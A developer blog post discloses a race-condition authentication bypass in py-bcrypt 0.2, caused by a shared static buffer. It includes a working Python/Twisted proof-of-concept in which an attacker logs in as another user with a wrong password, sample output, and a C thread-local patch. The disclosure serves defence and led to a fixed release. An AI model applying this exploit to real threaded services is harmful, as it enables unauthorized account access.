Conversations about life & privacy in the digital age

Security Vulnerability in Py-Bcrypt 0.2

This blog post is probably only interesting to programmers. Regular SpiderOak users can safely ignore this article. (It is not related to the SpiderOak backup and sync software.)

There’s a security vulnerability with py-bcrypt.

The vulnerability allows an attacker (“Eve”) to login as any user by making a
login attempt with a bogus password, overlapping in thread execution with the
user’s own login attempt. Typically many such attempts will be needed, but one will
eventually succeed.

This is a synchronization vulnerability with concurrent use of the
encrypted static buffer in bcrypt.c. Only threaded applications should be
vulnerable. It is common to use threads for bcrypt auth since it can cause an
event driven application to block the event loop for an unacceptable time.

I went looking through the py-bcrypt code after noticing suspicious patterns of
auth failures while testing a project using bcrypt.

The vulnerability was added in bcrypt 0.2 which was href="http://www.mindrot.org/projects/py-bcrypt/news/rel02.html">released in
July 2010.

This vulnerability is not present in bcrypt 0.1 because it did not release the
GIL during bcrypt operations.

Prior discovery? Sönke Schau href="https://code.google.com/p/py-bcrypt/issues/detail?id=12">reported a
thread safety bug in this area to the Google Code project back in January 2013.
It seems from the description (i.e. Priority: Medium) that the security
implications were unclear at the time.

Below is a demo exploit, sample output from the demo, a patch to py-bcrypt to mitigate the vulnerability, and output from the demo after patching.

The maintainers published an update within an hour of my initial message (wow!) There’s now a py-bcrypt 0.3 available on Google Code and PyPI.


#!/usr/bin/env python
"""
demo exploit for py-bcrypt 0.2

The demo below includes a server class with one user, alice,
with a bcrypted password.  The server is event driven using
Twisted with bcrypt operations deferred into a thread pool.
Eve tries to login repeatedly with a bogus password while
Alice is also trying to log in.
"""

import time
import random
import sys
import bcrypt
from twisted.internet import reactor, defer
from twisted.python import log
from twisted.internet.threads import deferToThread

# if we instead set this bcrypt work factor to 4 (the minimum) the demo exploit
# succeeds much sooner.  12 is the default.
BCRYPT_LOG_ROUNDS = 12

def salt_and_bcrypt(password):
    "return the salted and bcrypted representation of a password"
    salt = bcrypt.gensalt(BCRYPT_LOG_ROUNDS)
    return bcrypt.hashpw(password, salt)

def check_bcrypt(password, crypted):
    "return boolean, comparing a plain password to a bcrypt stored value"
    check_value = bcrypt.hashpw(password, crypted)
    return check_value == crypted 

def sleep_to_delay_thread(delay):
    "just used to add additional noise into the timing of the thread pool"
    time.sleep(delay)
    return True

class DemoExploitableServer(object):
    """
    Simple server class.  This could be a web server, ftp, RPC, etc.

    The same vulnerability exists if the server is available over a network.
    Here everything happens in one process for brevity.
    """

    users = dict(alice = salt_and_bcrypt("mypassword"))

    def __init__(self, num_busywork_threads):
        self._login_attempt_count = 0
        self.exploited = False
        self.halt = False
        if num_busywork_threads:
            reactor.callLater(0, self._simulate_activity, num_busywork_threads)

    def notify_shutdown(self):
        "notify the server that the event loop is shutting down"
        self.halt = True

    def login(self, username, password):
        """
        make a login attempt to the server.
        Return a Deferred that will be called back with the login result bool
        """

        if self.halt:
            # just ignore forever
            deferred = defer.Deferred()
            return deferred

        self._login_attempt_count += 1

        # show some progress in the log. usually don't get that far.
        if self._login_attempt_count % 1000 == 0:
            log.msg("%d login trials" % ( self._login_attempt_count, ))

        # delayed False on nonexistent user
        if not username in self.users:
            deferred = defer.Deferred()
            reactor.callLater(5, deferred.callback, False)
            return deferred

        return deferToThread(check_bcrypt, password, self.users[username])

    def _simulate_activity(self, amount):
        "start N busy work loops (deferring work to thread pool)"
        for _ in range(amount):
            reactor.callLater(0, self._do_busy_work)

    def _do_busy_work(self):
        "defer a random blocking sleep call to a thread"
        if self.halt:
            return
        delay = 2.0 * random.random()
        deferred = deferToThread(sleep_to_delay_thread, delay)
        deferred.addCallback(self._busy_work_callback)

    def _busy_work_callback(self, _result):
        "repeat the busy work cycle"
        reactor.callLater(0, self._do_busy_work)

class UserBase(object):
    "base for Alice and Eve--users repeatedly trying to login to the server"
    def __init__(self, server):
        self._server = server

    def run(self):
        "start the login trial loop"
        reactor.callLater(0, self.try_login)

    def try_login(self):
        "make a login attempt.  The server will callback with the result"
        deferred = self._server.login(self._username, self._password)
        deferred.addCallback(self._login_callback)
        deferred.addErrback(log.err)

class Alice(UserBase):
    """
    Alice repeatedly tries to login w/ the correct password.
    It's normal that she succeeds, and noteworthy when she fails.
    """
    _username = 'alice'
    _password = 'mypassword'
    def _login_callback(self, result):
        if not result:
            log.msg("alice login failure")
        reactor.callLater(0, self.run)

class Eve(UserBase):
    """
    Eve repeatedly tries to login as Alice w/ a bogus password.
    The exploit is successful when Eve's login is valid.
    """
    _username = 'alice'
    _password = 'WRONG_PASSWORD'
    def _login_callback(self, result):
        if result:
            log.msg("eve login success")
            self._server.exploited = True
            reactor.stop()
        else:
            log.msg("eve login fail")
        reactor.callLater(0, self.run)

def spawn_user(server, user_class):
    """
    create a user instance, and schedule delay calls to the event loop to start the
    instance's login trial loop
    """
    new_user = user_class(server)
    reactor.callLater(0, new_user.run)

def run_exploit_demo():
    """
    setup the demo exploitable server instance and a few user instances trying
    to login.  Manage the event loop startup/shutdown. Report results.

    Return shell exit code: 1 on exploit failure, 0 on success"
    """
    num_alice = 5
    num_eve = 5
    server_busywork_threads = 5

    log.startLogging(sys.stdout)

    server = DemoExploitableServer(server_busywork_threads)

    for _ in range(num_alice):
        spawn_user(server, Alice)

    for _ in range(num_eve):
        spawn_user(server, Eve)

    # timeout after an hour
    def _timeout():
        log.msg("timeout reached")
        reactor.stop()

    reactor.callLater(3600, _timeout)

    reactor.suggestThreadPoolSize(30)

    reactor.addSystemEventTrigger("before", "shutdown", server.notify_shutdown)

    reactor.run()

    # if we get here, Eve has logged in or we have crashed or timed out
    if server.exploited:
        print "EXPLOITED: successful login by Eve as Alice"
        return 0
    else:
        print "NO exploit"
        return 1

if __name__ == '__main__':
    sys.exit(run_exploit_demo())


Here’s sample output, before and after patching.

ubuntu@dev$ /opt/py2.7.vulnerable_bcrypt/bin/python pybcrypt_exploit_poc.py
2013-03-17 18:42:31+0000 [-] Log opened.
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login success
2013-03-17 18:42:33+0000 [-] Main loop terminated.
2013-03-17 18:42:33+0000 [-] EXPLOITED: successful login by Eve as Alice
ubuntu@dev$ /opt/py2.7/bin/python pybcrypt_exploit_poc.py
... [ snip ] ...
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] timeout reached
2013-03-17 19:08:19+0000 [-] Main loop terminated.
2013-03-17 19:08:19+0000 [-] NO exploit

I use C only very occasionally, but in case it’s helpful, here’s my attempt at a resolution patch. (Don’t use this. The patch provided by the maintainers in bcrypt-0.3 looks much more portable!)

diff -r py-bcrypt-0.2/bcrypt/bcrypt.c py-bcrypt-0.2.patched/bcrypt/bcrypt.c
75c75,84
< static char    encrypted[128];
---
> #undef threadlocal
>     #ifdef _ISOC11_SOURCE
>         #define threadlocal _Thread_local
>     #else
>         #define threadlocal __thread
>     #endif
>     /* we would rather blow up at compile time than be without thread safety.
>      * */
>
> static threadlocal char    encrypted[128];

Comments

  1. Garfield says:

    Glad to hear things went well submitting the bug upstream. Thanks for making py-bcrypt more secure for everyone! I find it interesting that nobody else understood the implication of this bug, until you stepped in.

  2. Alan says:

    I mostly found it by accident — I had built a test case to make sure the thread pool was correctly handling concurrency, and that failed in such a suspicious way I had to go have a look. :)